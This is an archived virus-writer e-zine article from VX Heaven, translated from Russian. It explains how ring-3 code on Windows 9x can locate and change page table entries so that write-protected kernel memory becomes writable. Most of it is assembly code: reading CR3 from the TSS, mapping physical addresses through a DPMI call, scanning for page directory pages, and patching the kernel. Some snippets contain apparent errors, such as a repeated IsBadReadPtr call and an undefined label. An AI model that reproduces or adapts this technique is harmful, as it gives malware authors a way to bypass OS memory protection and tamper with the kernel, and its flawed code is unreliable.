VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Writing into kernel from ring-3: Lets fuck pagetable


[Back to index] [Comments]

xlated from russian for MATRiX #2 E-Zine

WARNING #1. Before reading this text, it is strongly recommended to read some documentation about page table, protected mode, memory organisation, etc.


Here will be described a method of writing into any region of memory from ring3 by means of pagetable modification.

Our task is to write data into some virtual (linear) address X. And let the write-protected memory page that contains address X will be called PageX.

getting access rights to address X

It is possible to get information about our access rights to address X in the following ways:

  1. call win32 api: IsBadXXXPtr (XXX=Read,Write,Code,etc.)
  2. use SEH
  1. IsBadXXXPtr
                        push    size-in-bytes
                        push    address
                        call    IsBadReadPtr
                        or      eax, eax
                        jnz     __can_not_read
__can_read:             ...
  2. SEH
                        call    __seh_init
                        mov     esp, [esp+8]
                        jmp     __seh_exit
__seh_init:             push    dword ptr fs:[0]
                        mov     fs:[0], esp

                        mov     al, byte ptr [address]

__seh_exit:             pop     dword ptr fs:[0]
                        pop     eax

                        jc      __can_not_read
__can_read:             ...

Btw, IsBadXXXPtr functions (in win9X at least) uses SEH method too, so their execution with the same result just takes more time.

So, now we know how to find if PageX is write-protected

Page Table format

What is page table? All physical memory is divided into 4k-pages, which may be: read/write-protected and mapped into linear 4GB-length address space. Information about all this shit is stored in the page table.

                                Page Table:

 1st-level directory page             1024 x                physical memory
 aka Page Directory          2nd-level directory pages          pages

   single 4k-page,       totally 1024*1024 DWORD-descriptors,
 physical addr in CR3    for any 4k page in 4GB address space

  +-------------+               +------------+
  | DWORD #0    |-------------->| +------------+           +-----------+
  +-------------+               +-| DWORD #0   |---------->| ...       |
  | DWORD #1    |---------------->+------------+           +-----------+
  +-------------+               |-| DWORD #1   |---------->+-----------+
  : ...         :               : +------------+           | ...       |
  : ...         :               : : ...        :           +-----------+
  +-------------+               | : ...+------------+
  | DWORD #1023 |--------------------->| DWORD #0   |-------> ...
  +-------------+               +-|    +------------+
                                  +----| DWORD #1   |-------> ...
                                       : ...        :
                                       : ...        :
                                       | DWORD #1023|-------> ...

Each DWORD has the following format: (to find more details see documentation)

 31                           12 11                    0
|                               |     |   | | |P|P|U|R| |
|     physical address   31..12 |AVAIL|0 0|D|A|C|W|/|/|P|
|                               |     |   | | |D|T|S|W| |

P        - present (if P=0, all other data is unused and the corresponding
                    page is absent in linear address space)

R/W      - read/write                               -- bit 1 (0x02)
U/S      - user/supervisor                          -- bit 2 (0x04)

finding pagetable: variant 1

High 20 bits of the CR3 register is a physycal address of the page table, low 12 bits are zero (it just means that pagetable base is 4k-aligned).

But, if you will use 'MOV EAX, CR3' instruction, you will suck. This is because it is a privileged instruction, which may not be called from ring-3. Indeed, win9X will not generate an exception in this situation, but, it will not modify EAX too.

Now we may think a little, and find out, that copy of the CR3 register (for the current context!) is stored in the TSS.

Where to find TSS? TSS selector may be found using STR (Store Task Register) command.

So, we know everything to find CR3 register value.

; subroutine: get_cr3
; output:     EBX=CR3

get_cr3:                push    eax

                        sgdt    [esp-6]
                        mov     ebx, [esp-4]    ; EBX<--GDT.base

                        str     ax              ; EAX<--TSS selector
                        and     eax, 0FFF8h     ; optionally

                        add     ebx, eax        ; EBX<--TSS descriptor offset

                        mov     ah, [ebx+7]     ; EAX<--TSS linear address
                        mov     al, [ebx+4]
                        shl     eax, 16
                        mov     ax, [ebx+2]

                        mov     ebx, [eax+1Ch]  ; EBX<--CR3
                        and     ebx, 0FFFFF000h ; EBX<--pagetable phys. offs

                        pop     eax

Btw, if you will change 'mov ebx, [eax+1Ch]' into 'mov ebx, [eax+4]' in the code shown above, you will get ESP0, i.e. ESP of the code, that has called current task.

So, now we have CR3 register value, which is physical address of the page table.

But how can we use this fucking physical address in the PE file? Of course, in the ring-0 it may be converted into linear address using VxDcalls, but in the win32 api there are no such api functions...

finding pagetable: variant 2

Now lets try to find pagetable in memory.

We will search not the first-level directory page, but that second-level directory page, that contains DWORD which describes PageX.

What do we know about this second-level page? Seems nothing.

But, life is not so bad. Above-mentioned IsBadReadPtr function can tell us, is some address readable or not. (a whole bit!) And each DWORD-element in the second-level directory page has U/S bitflag, which has the same meaning. ;-) And there are another bit (R/W) which determines writeability of the memory page, which may be found using IsBadWritePtr function.

                ring-3 function     flags in the page descriptor
  read          IsBadReadPtr        U/S  user/supervisor
  write         IsBadWritePtr       R/W  read/write

So, calling IsBadRead/WritePtr functions for 1024 different pages we can generate 1024 DWORDs, and each DWORD will contain the same 2 bits, as in the 2nd-level directory page.

After that we will scan all the memory (really C0000000..D0000000), comparing each memory page to our generated page, but checking only these 2 bits in each DWORD.

needtbl                 dd      1024 dup (?)

; subroutine: find_kernel_pagetable
; return:     EBX=2ndlevel directory page (for addresses BFC00000...C0000000)


; create page of DWORDs (with 2 meaningful bits in each DWORD)

                        lea     edi, needtbl    ; page of DWORDs

                        mov     esi, 0BFC00000h ; ESI--starting page

__maketbl:              xor     ebp, ebp

                        push    4096
                        push    esi
                        callW   IsBadReadPtr

                        xor     eax, 1          ; 0 <--> 1
                        shl     eax, 2          ; 1 --> 4
                        or      ebp, eax

                        push    4096
                        push    esi
                        callW   IsBadReadPtr

                        xor     eax, 1          ; 0 <--> 1
                        shl     eax, 1          ; 1 --> 2
                        or      eax, ebp


                        add     esi, 4096       ; +1 page
                        cmp     esi, 0C0000000h ; totally 1024 pages
                        jne     __maketbl

; find 2nd-level directory page

                        mov     ebx, 0C0000000h   ; start address
                        push    4096              ; is current page readable?
                        push    ebx
                        callW   IsBadReadPtr
                        or      eax, eax
                        jnz     __cont

                        xor     edi, edi          ; compare pages

__scan:                 mov     eax, [ebx+edi]
                        and     eax, 2+4    ; only 2 bits has meaning for us
                        xor     eax, needtbl[edi] ; compare
                        jnz     __cont

                        add     edi, 4
                        cmp     edi, 4096
                        jb      __scan

                        clc                       ; found!

__cont:                 add     ebx, 4096         ; +1 page
                        cmp     ebx, 0D0000000h   ; end-address
                        jb      __cycle

                        stc                       ; not found...

  So, we have found 2nd level directory page which describes
  1024 pages in [BFC00000...C0000000] range.

  Now, if we wanna change RW bit for address BFF70000 we do the following:

                        ; find 2nd level directory page
                        call    find_kernel_pagetable
                        jc      __damnedsonofabitch

                        ; clear protection (make page writeable)
                        c1 = (0BFF70000h-0BFC00000h)/1024
                        or      dword ptr [ebx + c1], 2  ; RW=1

                        ; check if all okey, if page really became writeable
                        push    4096
                        push    0BFF70000h
                        call    IsBadReadPtr
                        or      eax, eax
                        jnz     __exit

                        ; fuck the kernel
                        not     dword ptr ds:[0BFF70000h]

                        ; restore protection
                        and     dword ptr [ebx + c1], not 2  ; RW=0

Now you may ask me: why did u used BFC00000 and C0000000 constants in the example above? This numbers are BFF70000 address, rounded up and down to the 4MB range.

damned shit

Maybe you think, we've just patched kernel? No. This really sucks. As it were found, the fucking 2nd-level directory page is just ABSENT in the current context, by default. So you really will find nothing. But, under fucking Soft-ICE all works. This is because it commits this 2ndlevel page into current context, performing something like this:

                        push    0
                        push    4096
                        push    physical-page-offset
                        VMMcall MapPhysToLinear
                        add     esp,3*4

And fucking VMM_MapPhysToLinear calls first VMM_PageReserve and then VMM_LinPageLock, in such way allocating new page in the current context and mapping physical page there.

So, we may find pagetable only if it is loaded into current context.

finding pagetable: back to variant 1

So, we have the following trouble: 2nd-level directory page may not be found, because it is absent in the current context.

Solution may be the following:

  1. try to find this fucking page in the different contexts
  2. map this page into current context

2nd variant seems better, so, question: how to convert physical address into linear without entering ring-0?

And here it is.

[email protected]             dd      0BFF713D4h      ; surely, it may be found

; subroutine: phys2linear
; input:      EBX=physical address
; output:     EBX=linear address

phys2linear:            pusha

                        movzx   ecx, bx         ; BX:CX<--EBX=phys addr
                        shr     ebx, 16

                        mov     eax, 0800h      ; physical address mapping

                        xor     esi, esi        ; SI:DI=size (1 byte)
                        xor     edi, edi
                        inc     edi

                        push    ecx
                        push    eax
                        push    0002A0029h      ; INT 31 (DPMI services)
                        call    [email protected]

                        shl     ebx, 16         ; EBX<--BX:CX=linear address
                        or      ebx, ecx

                        mov     [esp+4*4], ebx  ; popa.ebx


  So, now we know CR3 value and may xlate it into linear address.

; subroutine: get_pagetable_entry
; input:      ESI=address
; output:     EDI=pagetable entry address

get_pagetable_entry:    pusha

                        call    get_cr3         ; take CR3
                        and     ebx, 0FFFFF000h ; EBX<--pagetable phys. addr

                        call    phys2linear     ; EBX<--pagetable linear addr

                        mov     eax, esi
                        and     eax, 0FFC00000h
                        sub     esi, eax
                        shr     eax, 20       ; EAX<--1st-level dir page
                        shr     esi, 10       ; ESI<--2nd-level dir page

                        mov     ebx, [ebx+eax]  ; EBX<--physical address
                        and     ebx, 0FFFFF000h ; of the needed page

                        call    phys2linear   ; EBX<--linear address

                        add     esi, ebx      ; ESI<--DWORD to patch

                        mov     [esp], esi    ; popa.edi

  And, at last, all this shit may be used as this:

                        mov     esi, 0BFF70000H
                        call    get_pagetable_entry
                        or      dword ptr [edi], 2  ; PAGEFLAG_RW
                        mov     byte ptr [esi], xxxx  ; fuckup kernel
                        and     dword ptr [edi], not 2

Thats all!

[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! aka